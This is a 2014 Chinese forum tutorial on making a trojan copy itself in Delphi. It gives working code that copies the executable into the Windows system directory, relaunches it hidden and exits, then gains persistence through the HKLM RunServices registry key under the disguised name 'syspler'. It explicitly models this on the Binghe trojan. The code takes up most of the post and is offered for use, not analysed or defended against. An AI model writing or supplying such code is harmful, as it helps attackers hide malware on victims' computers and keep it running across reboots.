查看: 45|回复: 0

[教程] Delphi实现木马自我拷贝方法

[复制链接]

0

主题

0

回帖

0

积分

积极分子

金币
0
阅读权限
220
精华
0
威望
0
贡献
0
在线时间
0 小时
注册时间
2011-8-22
发表于 2014-7-25 11:45:33 | 显示全部楼层 |阅读模式

木马实现自我拷贝的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,继而退出旧程序.
本例即以Delphi实现木马的自我拷贝。
首先打开Delphi,新建一个工程,在窗口的Create事件中写入如下代码:

procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;

其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.

function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end; 

如何能使程序能在windows启动时自动启动?
 
为了程序能在Windows每次启动时自动运行,可以通过以下途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:

procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows/System32下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end; 
您可能感兴趣的文章:
  • Delphi7中群发Email邮件的方法
  • delphi实现保存和读取图片的方法
  • Delphi远程连接Mysql的实现方法
  • Delphi创建开机启动项的方法示例
  • Delphi实现获取句柄并发送消息的方法
  • Delphi实现窗口文字淡入淡出渐变效果的方法
  • Delphi实现获取磁盘空间大小的方法
  • Delphi中对时间操作方法汇总
  • delphi7连接mysql5的实现方法
  • delphi实现将BMP格式图形转化为JPG格式图形的方法
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

相关侵权、举报、投诉及建议等,请发 E-mail:qiongdian@foxmail.com

Powered by Discuz! X5.0 © 2001-2026 Discuz! Team.

在本版发帖返回顶部